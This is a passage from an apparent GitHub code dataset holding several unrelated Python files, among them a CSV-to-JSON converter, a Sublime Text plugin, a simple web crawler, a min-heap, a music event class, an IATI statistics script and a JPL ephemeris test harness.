self.plugins.insert(node, \"end\", values=(item, docs[index]))\n","repo_name":"NWSOFT-ORG/NWEdit","sub_path":"src/Plugins/plugins_view.py","file_name":"plugins_view.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"34724805988","text":"# Import needed stdlib and other dependencies\nimport os, sys, time\n\ncomplete_content = \"\" # The string contents of the file\nfile_lines = [] # A list of lines that the complete_content will be exploded to\nnew_lines = []\n\n\n\n# Open file, read contents into a list to be parsed\ntry:\n\t# Open the file and read the contents into a\n\twith open(\"artist.txt\", 'r') as file:\n\t\tcomplete_content = file.read()\n\n\t# Explode or split the string contents to a list\n\tfile_lines = complete_content.split(\"\\n\")\n\nexcept ValueError:\n\tfile_open_errors = \"Unexpected error loading file: \" + str(sys.exc_info()[0])\n\n\t# Write the raised error\n\terror_raised = \"Unexpected error loading file: \" + str(sys.exc_info()[0])\n\t# Display the error to the console\n\tprint(error_raised)\n\texit(\"This program needs an input file to continue. Exiting...\")\n\n\ni = 0\n# Loop through each file line and discern what needs to be done with the data\nfor line in file_lines:\n\t# {\"46.44231\", \"-93.36586\", \"Go Fish\", \"Twin Cities, MN\"},\n\t# Split the line by whitespace so we can parse the line\n\tcommand_list = line.split('\", \"')\n\tline = \"\"\n\n\tif len(command_list) is not 4:\n\t\tcontinue\n\ti += 1\n\n\tif len(command_list) > 0 and command_list[0] is not None:\n\t\tlat = command_list[0]\n\t\tlat = lat[:1] + '\"Latitude\":' + lat[1:]\n\t\tline += lat + '\", '\n\n\tif len(command_list) > 0 and command_list[1] is not None:\n\t\tlon = command_list[1]\n\t\tline += '\"Longitude\":\"' + lon + '\", '\n\n\tif len(command_list) > 1 and command_list[2] is not None:\n\t\tart = command_list[2]\n\t\tline += '\"Artist\":\"' + art + '\", '\n\n\tif len(command_list) > 2 and command_list[3] is not None:\n\t\tcity = command_list[3]\n\t\tline += '\"City\":\"' + city\n\n\tline += '\\n'\n\tnew_lines.append(line)\n\n# Write the new file\njson_file = open(\"new_artists.json\", \"w\")\nfor l in new_lines:\n\tjson_file.write(l)\n\njson_file.close()\n","repo_name":"agnosticdev/Blog-Examples","sub_path":"UsingCoreMLtoCreateASongRecommendationEngine/DataPipeline/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"81"} +{"seq_id":"29384392029","text":"import sublime\nimport sublime_plugin\nfrom typing import List\nimport os\nimport json\nimport subprocess\n\nclass RecentFoldersCommand(sublime_plugin.ApplicationCommand):\n\n sublime_session_file = \"Auto Save Session.sublime_session\"\n fallback_sublime_session_file = \"Session.sublime_session\"\n\n sublime_exec = '/Applications/Sublime Text.app/Contents/SharedSupport/bin/subl'\n\n def run(self):\n self.window = sublime.active_window()\n\n if self.window:\n packages_dir: str = sublime.packages_path()\n sublime_dir: str = os.path.dirname(packages_dir)\n local_dir = f\"{sublime_dir}/Local\"\n session_file = f\"{local_dir}/{RecentFoldersCommand.sublime_session_file}\"\n fallback_session_file = f\"{local_dir}/{RecentFoldersCommand.fallback_sublime_session_file}\"\n session_exists = os.path.exists(session_file)\n fallback_exists = os.path.exists(fallback_session_file)\n session_file = session_file if session_exists else fallback_session_file\n\n if session_exists or fallback_exists:\n with open(session_file, 'r') as f:\n json_content = json.load(f)\n folder_history = json_content.get('folder_history')\n if folder_history:\n self.window.show_quick_panel(\n items = folder_history,\n placeholder = \"Open Folder:\",\n on_select = lambda index: self.on_select(self.window, folder_history, index),\n )\n else:\n self.show_error(f\"could not find 'folder_history' key in Auto Save Session.sublime_session\")\n else:\n self.show_error(f\"{session_file} and {fallback_session_file} does not exist\")\n else:\n sublime.message_dialog(\"No active window found\")\n\n\n def on_select(self, window: sublime.Window, folder_history: List[str] ,index: int) -> None:\n if index >= 0 and len(folder_history) > index:\n subprocess.Popen([RecentFoldersCommand.sublime_exec, '-n', folder_history[index]])\n\n\n def show_error(self, message: str) -> None:\n sublime.message_dialog(message)\n","repo_name":"ssanj/RecentFolders","sub_path":"recent_folders.py","file_name":"recent_folders.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"30804036755","text":"# Python file where webcrawler will be put to scrape the internet for search engine\nimport logging\nfrom urllib.parse import urljoin\nimport requests\nfrom bs4 import BeautifulSoup\nimport io\nimport os\n\nlogging.basicConfig(\n format='%(asctime)s %(levelname)s:%(message)s',\n level=logging.INFO)\n\n\nclass Crawler:\n count = 0\n\n def __init__(self, urls=[]):\n self.visited_urls = []\n self.urls_to_visit = urls\n\n def download_url(self, url):\n return requests.get(url).text\n\n def get_linked_urls(self, url, html):\n soup = BeautifulSoup(html, 'html.parser')\n for link in soup.find_all('a'):\n path = link.get('href')\n if path and path.startswith('/'):\n path = urljoin(url, path)\n yield path\n\n def add_url_to_visit(self, url):\n if url not in self.visited_urls and url not in self.urls_to_visit:\n self.urls_to_visit.append(url)\n\n def crawl(self, url):\n saved_pages = []\n # count increments every new page is crawled\n self.count += 1\n # it is set to less than 10 so only 10 pages are downloaded\n if self.count < 30:\n # extracting only the domain for setting it to the file name\n # as file name cannot contain characters line '/' and '?'\n html = self.download_url(url)\n url_domain = url[8:]\n save_path = \"./crawledPages\"\n url_domain = url_domain.replace('?', '')\n domain = []\n domain = url_domain.split('/')\n\n # extracting text from html\n soup = BeautifulSoup(html)\n for script in soup([\"script\", \"style\"]):\n script.decompose()\n\n strips = list(soup.stripped_strings)\n\n # creating a file for the crawled page\n if domain[1] == \"\":\n file_name = domain[0] + '.txt'\n else:\n file_name = domain[0] + \"-\" + domain[1] + '.txt'\n\n complete_name = os.path.join(save_path, file_name)\n with io.open(complete_name, \"w\", encoding=\"utf-8\") as f:\n for text in strips:\n f.write(text)\n f.close()\n\n # finding and adding urls in the crawled page\n for url in self.get_linked_urls(url, html):\n self.add_url_to_visit(url)\n\n def run(self):\n while self.urls_to_visit:\n url = self.urls_to_visit.pop(0)\n logging.info(f'Crawling: {url}')\n try:\n self.crawl(url)\n except Exception:\n logging.exception(f'Failed to crawl: {url}')\n finally:\n self.visited_urls.append(url)\n\n\nif __name__ == '__main__':\n Crawler(urls=['https://www.cnn.com/']).run()\n","repo_name":"akalezic/COMP460GroupProject","sub_path":"webcrawler/webcrawler.py","file_name":"webcrawler.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"36717442404","text":"import sys\nsys.stdin = open(\"sample2_input.txt\", \"r\")\n\nT = int(input())\nfor test_case in range(1, T + 1):\n N = int(input())\n data = []\n data = list(map(int, ))\n data.extend(input())\n # data = list(map(int, input().split()))\n print(data)\n #\n # card_num = []\n # card_deck = []\n # card_count = [0]*10\n # for i in range(len(data)):\n\n # a = str(data[i])\n # list(a)\n # for j in list(a):\n # card_deck.append(j)\n # for k in range(len(card_deck)):\n # card_count[card_deck[k]] += 1\n # print(card_count)\n\n","repo_name":"kshm2483/ssafy_TIL","sub_path":"Algori/day2/숫자_카드.py","file_name":"숫자_카드.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"31954993773","text":"from __future__ import print_function\nimport json\nimport data\nimport unicodecsv\nfrom collections import defaultdict\nfrom itertools import izip_longest\n\ndef codelist_dict(codelist_path):\n codelist_json = json.load(open(codelist_path))\n return {c['code']:c['name'] for c in codelist_json['data']}\n\norganisation_type_dict = codelist_dict('data/IATI-Codelists-2/out/clv2/json/en/OrganisationType.json')\ncountry_dict = codelist_dict('data/IATI-Codelists-2/out/clv2/json/en/Country.json')\nregion_dict = codelist_dict('data/IATI-Codelists-2/out/clv2/json/en/Region.json')\n\naggregated_publisher = data.JSONDir('./stats-calculated/current/aggregated-publisher/')\n\nactivities_by = defaultdict(lambda: defaultdict(int))\npublishers_by = defaultdict(lambda: defaultdict(int))\n\nfor publisher, publisher_data in aggregated_publisher.items():\n if publisher in data.ckan_publishers:\n organization_type = data.ckan_publishers[publisher]['result']['publisher_organization_type']\n #activities_by['type'][organisation_type_dict[organization_type]] += publisher_data['activities']\n publishers_by['type'][organisation_type_dict[organization_type]] += 1\n\n publisher_country_code = data.ckan_publishers[publisher]['result']['publisher_country']\n if publisher_country_code in country_dict or publisher_country_code in region_dict:\n publishers_by['country'][country_dict.get(publisher_country_code) or region_dict.get(publisher_country_code)] += 1\n else:\n print('Unrecognised registry publisher_country code: ', publisher_country_code)\n activity_countries = publisher_data['codelist_values'].get('.//recipient-country/@code')\n if activity_countries:\n for code, count in activity_countries.items():\n if code and code in country_dict:\n activities_by['country'][country_dict.get(code)] += count\n activity_regions = publisher_data['codelist_values'].get('.//recipient-region/@code')\n if activity_regions:\n for code, count in activity_regions.items():\n if code and code in region_dict:\n activities_by['region'][region_dict.get(code)] += count\n else:\n print('Publisher not matched:', publisher)\n\nfieldnames = ['publisher_type', 'publishers_by_type', '', 'publisher_country', 'publishers_by_country', '', 'date', 'publishers_quarterly', '', 'activity_country', 'activities_by_country', '', 'activity_region', 'activities_by_region' ]\n\npublishers_quarterly = []\npublishers_by_date = json.load(open('./stats-calculated/gitaggregate-dated/publishers.json'))\nfor date, publishers in sorted(publishers_by_date.items()):\n if (date[8:10] == '30' and date[5:7] in ['06','09']) or (date[8:10] == '31' and date[5:7] in ['03','12']):\n publishers_quarterly.append((date, publishers))\n\nwith open('out/speakers_kit.csv', 'w') as fp:\n writer = unicodecsv.DictWriter(fp, fieldnames)\n writer.writeheader()\n sort_second = lambda x: sorted(x, key=lambda y: y[1], reverse=True)\n for publishers_by_type, publishers_by_country, publishers_quarterly_, activities_by_country, activities_by_region in izip_longest(\n sort_second(publishers_by['type'].items()),\n sort_second(publishers_by['country'].items()),\n publishers_quarterly,\n sort_second(activities_by['country'].items()),\n sort_second(activities_by['region'].items()),\n ):\n writer.writerow({\n 'publisher_type': publishers_by_type[0] if publishers_by_type else '',\n 'publishers_by_type': publishers_by_type[1] if publishers_by_type else '',\n 'publisher_country': publishers_by_country[0] if publishers_by_country else '',\n 'publishers_by_country': publishers_by_country[1] if publishers_by_country else '',\n 'date': publishers_quarterly_[0] if publishers_quarterly_ else '',\n 'publishers_quarterly': publishers_quarterly_[1] if publishers_quarterly_ else '',\n 'activity_country': activities_by_country[0] if activities_by_country else '',\n 'activities_by_country': activities_by_country[1] if activities_by_country else '',\n 'activity_region': activities_by_region[0] if activities_by_region else '',\n 'activities_by_region': activities_by_region[1] if activities_by_region else '',\n })\n","repo_name":"IATI/IATI-Dashboard","sub_path":"speakers_kit.py","file_name":"speakers_kit.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"81"} +{"seq_id":"13293882651","text":"\nclass MinHeap:\n def __init__(self, arr):\n self.H = arr\n self.buildHeap(arr,len(arr))\n\n def heapify(self,arr, n, i):\n smallest = i; \n l = 2 * i + 1; \n r = 2 * i + 2; \n \n if l < n and arr[l] < arr[smallest]:\n smallest = l;\n \n if r < n and arr[r] < arr[smallest]:\n smallest = r;\n if smallest != i:\n arr[i], arr[smallest] = arr[smallest], arr[i];\n self.heapify(arr, n, smallest);\n\n def heapifyUpwards(self,arr, n, i):\n #print(i)\n smallest = i; \n parent = (i-1)//2\n if parent >= 0 and arr[smallest] < arr[parent]:\n smallest = parent;\n \n if smallest != i:\n arr[i], arr[smallest] = arr[smallest], arr[i];\n return self.heapifyUpwards(arr, n, parent);\n return smallest\n \n \n def buildHeap(self,arr, n):\n start = n // 2 - 1;\n for i in range(start, -1, -1):\n self.heapify(arr, n, i);\n\n self.H = arr\n\n def display(self):\n print(self.H)\n\n def extractMin(self):\n minVal = self.H[0]\n lastVal = self.H[len(self.H)-1]\n self.H[0]=lastVal\n self.H.pop()\n self.heapify(self.H, len(self.H), 0)\n return minVal\n\n def extractAtIndex(self,index):\n if len(self.H) == 0 or index>(len(self.H)-1):\n return\n val = self.H[index]\n lastVal = self.H[len(self.H)-1]\n self.H[index]=lastVal\n self.H.pop()\n self.heapify(self.H, len(self.H), index)\n self.heapifyUpwards(self.H, len(self.H), index)\n return val\n\n def insert(self,val):\n self.H.append(val)\n i = self.heapifyUpwards(self.H, len(self.H), len(self.H) -1 )\n print(i)\n\narr = [4,5,2,1,6,7,9]\nprint(arr)\nminH = MinHeap(arr)\nminH.display()\nminH.insert(3)\nminH.display()\nprint(minH.extractAtIndex(4))\nminH.display()\n# print(minH.extractMin())\n# minH.display()","repo_name":"sruthi2498/DSA","sub_path":"binaryTree/MinHeap.py","file_name":"MinHeap.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"26668915039","text":"from random import randint\nfrom campaign.manager.subscriber_helpers import check_campaign, create_verification_code, validate_subscriber\nfrom campaign.models import Campaign, Subscriber\n\nclass CampaignManager:\n \"\"\"Business logic implementation\"\"\"\n\n def add_subscriber(self, campaign_id, email, subscriber_data) -> Subscriber:\n validate_subscriber(campaign_id=campaign_id, email=email)\n subscriber = Subscriber.objects.create(\n campaign_id=campaign_id, \n email=email, \n user_data=subscriber_data,\n verification_code=create_verification_code(email=email, campaign_id=campaign_id)\n )\n return subscriber\n\n def verify_email(self, verification_code) -> bool:\n subscriber = Subscriber.objects.filter(verification_code=verification_code).first()\n if subscriber is None:\n raise ValueError(\"Invalid token\")\n if subscriber.verified:\n raise ValueError(\"User already validated\")\n subscriber.verified = True\n subscriber.save()\n return True\n\n def finish_campaign(self, campaign_id):\n check_campaign(campaign_id)\n verified_subscribers = Subscriber.objects.filter(campaign_id=campaign_id, verified=True).all()\n if len(verified_subscribers) == 0:\n raise ValueError(\"Cannot finish campaign due to insuficent verified users\")\n winner = self.__get_ramdom_from_array(verified_subscribers)\n campaign = Campaign.objects.get(pk=campaign_id)\n campaign.winner = winner.id\n campaign.finished = True\n campaign.save()\n\n def __get_ramdom_from_array(self, array):\n index = randint(0, len(array)-1)\n return array[index]\n\n \n\n","repo_name":"jflobos/promotions","sub_path":"campaign/manager/campaign_manager.py","file_name":"campaign_manager.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"9059319618","text":"\"\"\"Test harness for checking ``jplephem`` against actual JPL results.\n\nThis test can be invoked with a simple::\n\n python -m jplephem.jpltest\n\n\"\"\"\nimport numpy as np\nimport sys\nfrom functools import partial\nfrom .ephem import Ephemeris\n\ndef testpo(ephemeris, testpo_path):\n \"\"\"Compare the positions we calculate against those computed by the JPL.\"\"\"\n lines = iter(open(testpo_path))\n\n while next(lines).strip() != 'EOT':\n continue\n\n successes = 0\n\n for line in lines:\n de, date, jed, target, center, number, value = [f(v) for f, v\n in zip((str, str, float, int, int, int, float), line.split())]\n\n if 14 <= target <= 15:\n r = _position(ephemeris, jed, target)\n else:\n tpos = _position(ephemeris, jed, target)\n cpos = _position(ephemeris, jed, center)\n r = (tpos - cpos) / ephemeris.AU\n\n delta = r[number - 1] - value\n if (target == 15 and number == 3):\n delta = delta / (0.23 * (jed - 2451545.0))\n elif (target == 15 and number == 6):\n delta = delta * 0.01 / (1.0 + (jed - 2451545.0) / 365.25)\n\n if abs(delta) >= 1e-13:\n print('%s %s %s->%s field %d' % (date, jed, center, target, number))\n print(' JPL result: %.15f' % value)\n print(' Our result: %.15f' % r[number - 1])\n print(' ERROR: difference = %s' % (delta,))\n\n successes += 1\n\n print(' %d tests successful' % successes)\n\n\ndef _position(ephemeris, jed, target):\n \"\"\"Compute position given a JPL test file target integer identifier.\"\"\"\n\n if target == 12:\n return np.zeros(6) # solar system barycenter is the origin\n\n c = partial(ephemeris.compute, differentiate=True)\n\n if target == 1:\n return c('mercury', jed)\n if target == 2:\n return c('venus', jed)\n if target == 3:\n return c('earthmoon', jed) - c('moon', jed) * ephemeris.earth_share\n if target == 4:\n return c('mars', jed)\n if target == 5:\n return c('jupiter', jed)\n if target == 6:\n return c('saturn', jed)\n if target == 7:\n return c('uranus', jed)\n if target == 8:\n return c('neptune', jed)\n if target == 9:\n return c('pluto', jed)\n if target == 10:\n return c('earthmoon', jed) + c('moon', jed) * ephemeris.moon_share\n if target == 11:\n return c('sun', jed)\n #\n if target == 13:\n return c('earthmoon', jed)\n if target == 14:\n return c('nutations', jed)\n if target == 15:\n return c('librations', jed)\n\n\ndef test_all():\n for number in 405, 406, 422, 423:\n name = 'de%d' % number\n module = __import__(name)\n fname = 'ssd.jpl.nasa.gov/pub/eph/planets/ascii/de%d/testpo.%d' % (\n number, number)\n ephemeris = Ephemeris(module)\n print(name, 'AU = %s km' % (ephemeris.AU,))\n testpo(ephemeris, fname)\n\n\nif __name__ == '__main__':\n try:\n test_all()\n except IOError as e:\n print >>sys.stderr, str(e)\n print >>sys.stderr, \"\"\"\nCannot find the JPL \"testpo\" files against which this test suite\nvalidates that the positions it generates are correct. To fetch them,\nrun these four commands in your current working directory:\n\n wget -r ftp://ssd.jpl.nasa.gov/pub/eph/planets/ascii/de405/testpo.405\n wget -r ftp://ssd.jpl.nasa.gov/pub/eph/planets/ascii/de406/testpo.406\n wget -r ftp://ssd.jpl.nasa.gov/pub/eph/planets/ascii/de422/testpo.422\n wget -r ftp://ssd.jpl.nasa.gov/pub/eph/planets/ascii/de423/testpo.423\n\nThese commands create a \"ssd.jpl.nasa.gov\" directory containing the\nnecessary files. When you are done running the tests, simply remove the\ndirectory.\n\"\"\"\n print(str(e))\n exit(1)\n","repo_name":"NatalieP-J/python","sub_path":"jplephem/jpltest.py","file_name":"jpltest.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18692446425","text":"\"\"\"Event classes which are designated for musical usage.\"\"\"\n\ntry:\n import quicktions as fractions # type: ignore\nexcept ImportError:\n import fractions # type: ignore\n\nimport numbers\nimport typing\n\nfrom mutwo import core_events\nfrom mutwo import core_constants\nfrom mutwo import music_events\nfrom mutwo import music_parameters\n\n\n__all__ = (\"NoteLike\",)\n\nPitchOrPitchSequence = typing.Union[\n music_parameters.abc.Pitch, typing.Sequence, core_constants.Real, None\n]\n\nVolume = typing.Union[music_parameters.abc.Volume, core_constants.Real, str]\nGraceNotes = core_events.SequentialEvent[core_events.SimpleEvent]\n\n\nclass NoteLike(core_events.SimpleEvent):\n \"\"\"NoteLike represents traditional discreet musical objects.\n\n :param pitch_list: The pitch or pitches of the event. This can\n be a pitch object (any class that inherits from ``mutwo.music_parameters.abc.Pitch``)\n or a list of pitch objects. Furthermore mutwo supports syntactic sugar\n to convert other objects on the fly to pitch objects: Atring can be\n read as pitch class names to build\n :class:`mutwo.music_parameters.WesternPitch` objects or as ratios to\n build :class:`mutwo.music_parameters.JustIntonationPitch` objects.\n Fraction will also build :class:`mutwo.music_parameters.JustIntonationPitch`\n objects. Other numbers (integer and float) will be read as pitch class numbers\n to make :class:`mutwo.music_parameters.WesternPitch` objects.\n :param duration: The duration of ``NoteLike``. This can be any number.\n The unit of the duration is up to the interpretation of the user and the\n respective converter routine that will be used.\n :param volume: The volume of the event. Can either be a object of\n :mod:`mutwo.music_parameters.abc.Volume`, a number or a string. If the number\n ranges from 0 to 1, mutwo automatically generates a\n :class:`mutwo.music_parameters.DirectVolume` object (and the number\n will be interpreted as the amplitude). If the\n number is smaller than 0, automatically generates a\n :class:`mutwo.music_parameters.volumes.DecibelVolume` object (and the number\n will be interpreted as decibel). If the argument is a string,\n `mutwo` will try to initialise a :class:`mutwo.music_parameters.volumes.WesternVolume`\n object.\n :param grace_note_sequential_event:\n :type grace_note_sequential_event: core_events.SequentialEvent[NoteLike]\n :param after_grace_note_sequential_event:\n :type after_grace_note_sequential_event: core_events.SequentialEvent[NoteLike]\n :param playing_indicator_collection: A :class:`~mutwo.music_parameters.playing_indicator_collection.PlayingIndicatorCollection`.\n Playing indicators alter the sound of :class:`NoteLike` (e.g.\n tremolo, fermata, pizzicato).\n :type playing_indicator_collection: music_parameters.playing_indicator_collection.PlayingIndicatorCollection\n :param notation_indicator_collection: A :class:`~mutwo.music_parameters.notation_indicator_collection.NotationIndicatorCollection`.\n Notation indicators alter the visual representation of :class:`NoteLike`\n (e.g. ottava, clefs) without affecting the resulting sound.\n :type notation_indicator_collection: music_parameters.notation_indicator_collection.NotationIndicatorCollection\n :param lyric:\n :type lyric: core_parameters.abc.Lyric\n\n By default mutwo doesn't differentiate between Tones, Chords and\n Rests, but rather simply implements one general class which can\n represent any of the mentioned definitions (e.g. a NoteLike object\n with several pitches may be called a 'Chord' and a NoteLike object\n with only one pitch may be called a 'Tone').\n\n **Example:**\n\n >>> from mutwo import music_parameters\n >>> from mutwo import music_events\n >>> tone = music_events.NoteLike(music_parameters.WesternPitch('a'), 1, 1)\n >>> other_tone = music_events.NoteLike('3/2', 1, 0.5)\n >>> chord = music_events.NoteLike(\n [music_parameters.WesternPitch('a'), music_parameters.JustIntonationPitch('3/2')], 1, 1\n )\n >>> other_chord = music_events.NoteLike('c4 dqs3 10/7', 1, 3)\n \"\"\"\n\n def __init__(\n self,\n pitch_list: PitchOrPitchSequence = \"c\",\n duration: core_constants.DurationType = 1,\n volume: Volume = \"mf\",\n grace_note_sequential_event: typing.Optional[GraceNotes] = None,\n after_grace_note_sequential_event: typing.Optional[GraceNotes] = None,\n playing_indicator_collection: music_parameters.PlayingIndicatorCollection = None,\n notation_indicator_collection: music_parameters.NotationIndicatorCollection = None,\n lyric: music_parameters.abc.Lyric = music_parameters.DirectLyric(\"\"),\n ):\n if playing_indicator_collection is None:\n playing_indicator_collection = (\n music_events.configurations.DEFAULT_PLAYING_INDICATORS_COLLECTION_CLASS()\n )\n if notation_indicator_collection is None:\n notation_indicator_collection = (\n music_events.configurations.DEFAULT_NOTATION_INDICATORS_COLLECTION_CLASS()\n )\n if grace_note_sequential_event is None:\n grace_note_sequential_event = core_events.SequentialEvent([])\n if after_grace_note_sequential_event is None:\n after_grace_note_sequential_event = core_events.SequentialEvent([])\n\n self.pitch_list = pitch_list\n self.volume = volume\n super().__init__(duration)\n self.grace_note_sequential_event = grace_note_sequential_event\n self.after_grace_note_sequential_event = after_grace_note_sequential_event\n self.playing_indicator_collection = playing_indicator_collection\n self.notation_indicator_collection = notation_indicator_collection\n self.lyric = lyric\n\n # ###################################################################### #\n # static methods #\n # ###################################################################### #\n\n @staticmethod\n def _convert_string_to_pitch(pitch_indication: str) -> music_parameters.abc.Pitch:\n # assumes it is a ratio\n if \"/\" in pitch_indication:\n return music_parameters.JustIntonationPitch(pitch_indication)\n\n # assumes it is a WesternPitch name\n elif (\n pitch_indication[0]\n in music_parameters.constants.DIATONIC_PITCH_CLASS_CONTAINER\n ):\n if pitch_indication[-1].isdigit():\n pitch_name, octave = pitch_indication[:-1], int(pitch_indication[-1])\n pitch = music_parameters.WesternPitch(pitch_name, octave)\n else:\n pitch = music_parameters.WesternPitch(pitch_indication)\n\n return pitch\n\n else:\n raise NotImplementedError(\n f\"Can't build pitch from pitch_indication '{pitch_indication}'.\"\n \" Supported string formats are (1) ratios divided by a forward \"\n \"slash (for instance '3/2' or '4/3') and (2) names of western \"\n \"pitch classes with an optional number to indicate the octave \"\n \"(for instance 'c4', 'as' or 'fqs2').\"\n )\n\n @staticmethod\n def _convert_fraction_to_pitch(\n pitch_indication: fractions.Fraction,\n ) -> music_parameters.abc.Pitch:\n return music_parameters.JustIntonationPitch(pitch_indication)\n\n @staticmethod\n def _convert_float_or_integer_to_pitch(\n pitch_indication: float,\n ) -> music_parameters.abc.Pitch:\n return music_parameters.WesternPitch(pitch_indication)\n\n @staticmethod\n def _convert_unknown_object_to_pitch(\n unknown_object: typing.Any,\n ) -> list[music_parameters.abc.Pitch]:\n if unknown_object is None:\n pitch_list = []\n\n elif isinstance(unknown_object, music_parameters.abc.Pitch):\n pitch_list = [unknown_object]\n\n elif isinstance(unknown_object, str):\n pitch_list = [\n NoteLike._convert_string_to_pitch(pitch_indication)\n for pitch_indication in unknown_object.split(\" \")\n ]\n\n elif isinstance(unknown_object, fractions.Fraction):\n pitch_list = [NoteLike._convert_fraction_to_pitch(unknown_object)]\n\n elif isinstance(unknown_object, float) or isinstance(unknown_object, int):\n pitch_list = [NoteLike._convert_float_or_integer_to_pitch(unknown_object)]\n\n else:\n message = \"Can't build pitch object from object '{}' of type '{}'.\".format(\n unknown_object, type(unknown_object)\n )\n raise NotImplementedError(message)\n\n return pitch_list\n\n @staticmethod\n def _convert_unknown_object_to_grace_note_sequential_event(\n unknown_object: typing.Union[GraceNotes, core_events.SimpleEvent]\n ) -> GraceNotes:\n if isinstance(unknown_object, core_events.SimpleEvent):\n return core_events.SequentialEvent([unknown_object])\n elif isinstance(unknown_object, core_events.SequentialEvent):\n return unknown_object\n else:\n raise TypeError(f\"Can't set grace notes to {unknown_object}\")\n\n # ###################################################################### #\n # properties #\n # ###################################################################### #\n\n @property\n def _parameter_to_print_tuple(self) -> tuple[str, ...]:\n \"\"\"Return tuple of attribute names which shall be printed for repr.\"\"\"\n return tuple(\n attribute\n for attribute in self._parameter_to_compare_tuple\n if attribute\n # Avoid too verbose and long attributes\n not in (\n \"playing_indicator_collection\",\n \"notation_indicator_collection\",\n \"grace_note_sequential_event\",\n \"after_grace_note_sequential_event\",\n )\n )\n\n @property\n def pitch_list(self) -> typing.Any:\n \"\"\"The pitch or pitches of the event.\"\"\"\n\n return self._pitch_list\n\n @pitch_list.setter\n def pitch_list(self, pitch_list: typing.Any):\n # make sure pitch_list always become assigned to a list of pitches,\n # to be certain of the returned type\n if not isinstance(pitch_list, str) and isinstance(pitch_list, typing.Iterable):\n # several pitches\n pitches_per_element = (\n NoteLike._convert_unknown_object_to_pitch(pitch) for pitch in pitch_list\n )\n pitch_list = []\n for pitches in pitches_per_element:\n pitch_list.extend(pitches)\n else:\n pitch_list = NoteLike._convert_unknown_object_to_pitch(pitch_list)\n\n self._pitch_list = pitch_list\n\n @property\n def volume(self) -> typing.Any:\n \"\"\"The volume of the event.\"\"\"\n\n return self._volume\n\n @volume.setter\n def volume(self, volume: typing.Any):\n if isinstance(volume, numbers.Real):\n if volume >= 0: # type: ignore\n volume = music_parameters.DirectVolume(volume) # type: ignore\n else:\n volume = music_parameters.DecibelVolume(volume) # type: ignore\n\n elif isinstance(volume, str):\n volume = music_parameters.WesternVolume(volume)\n\n elif not isinstance(volume, music_parameters.abc.Volume):\n message = (\n \"Can't initialise '{}' with value '{}' of type '{}' for argument\"\n \" 'volume'. The type for 'volume' should be '{}'.\".format(\n type(self).__name__, volume, type(volume), Volume\n )\n )\n raise TypeError(message)\n self._volume = volume\n\n @property\n def grace_note_sequential_event(self) -> GraceNotes:\n \"\"\":class:`core_events.SequentialEvent` before :class:`NoteLike`\"\"\"\n\n return self._grace_note_sequential_event\n\n @grace_note_sequential_event.setter\n def grace_note_sequential_event(\n self,\n grace_note_sequential_event: typing.Union[GraceNotes, core_events.SimpleEvent],\n ):\n self._grace_note_sequential_event = (\n NoteLike._convert_unknown_object_to_grace_note_sequential_event(\n grace_note_sequential_event\n )\n )\n\n @property\n def after_grace_note_sequential_event(self) -> GraceNotes:\n \"\"\":class:`core_events.SequentialEvent` after :class:`NoteLike`\"\"\"\n\n return self._after_grace_note_sequential_event\n\n @after_grace_note_sequential_event.setter\n def after_grace_note_sequential_event(\n self,\n after_grace_note_sequential_event: typing.Union[\n GraceNotes, core_events.SimpleEvent\n ],\n ):\n self._after_grace_note_sequential_event = (\n NoteLike._convert_unknown_object_to_grace_note_sequential_event(\n after_grace_note_sequential_event\n )\n )\n","repo_name":"MartinScriblerus/signal-buddy","sub_path":"python/venv/lib/python3.9/site-packages/mutwo/music_events/music.py","file_name":"music.py","file_ext":"py","file_size_in_byte":13138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41210624551","text":"#!/usr/bin/env python3\n\nfrom osgeo import gdal, gdalconst, osr\nimport pytz\nfrom dateutil.parser import parse as parse_date\nfrom rhealpix_dggs import dggs\nimport numpy as np\nfrom scipy.misc import toimage\nimport h5py\n\nfrom argparse import ArgumentParser, ArgumentTypeError, FileType\nfrom itertools import chain\nfrom io import BytesIO\nfrom os.path import basename, splitext, extsep\nimport re\nimport sys\nfrom time import time\n\n# For parsing AGDC filenames\nAGDC_RE = re.compile(\n r'^(?P[^_]+)_(?PETM|OLI_TIRS)_(?P[^_]+)_'\n r'(?P[^_]+)_(?P[^_]+)_(?P\\d+)-(?P\\d+)-'\n r'(?P\\d+)T(?P\\d+)-(?P\\d+)-(?P\\d+(\\.\\d+)?)'\n r'\\.tif$')\n\n\ndef cell_name(cell):\n return '/'.join(str(cell))\n\n\ndef parse_agdc_fn(fn):\n \"\"\"Parses a filename in the format used by the AGDC Landsat archive. For\n example, ``LS7_ETM_NBAR_149_-036_2012-02-10T23-50-47.650696.tif`` is a\n Landsat 7 observation in GeoTIFF format taken on Februrary 10 2012 at\n 11:50pm (amongst other things).\n\n >>> fn = 'LS7_ETM_NBAR_149_-036_2012-02-10T23-50-47.650696.tif'\n >>> sorted_results = sorted(parse_agdc_fn(fn).items())\n >>> print('\\\\n'.join('{}: {}'.format(k, v) for k, v in sorted_results))\n datetime: 2012-02-10 23:50:47.650696+00:00\n lat: -36.0\n lon: 149.0\n prod_code: NBAR\n sat_id: LS7\n sensor_id: ETM\n\n :param string fn: Filename for observation.\n :return: Dictionary of extracted metdata from filename.\n 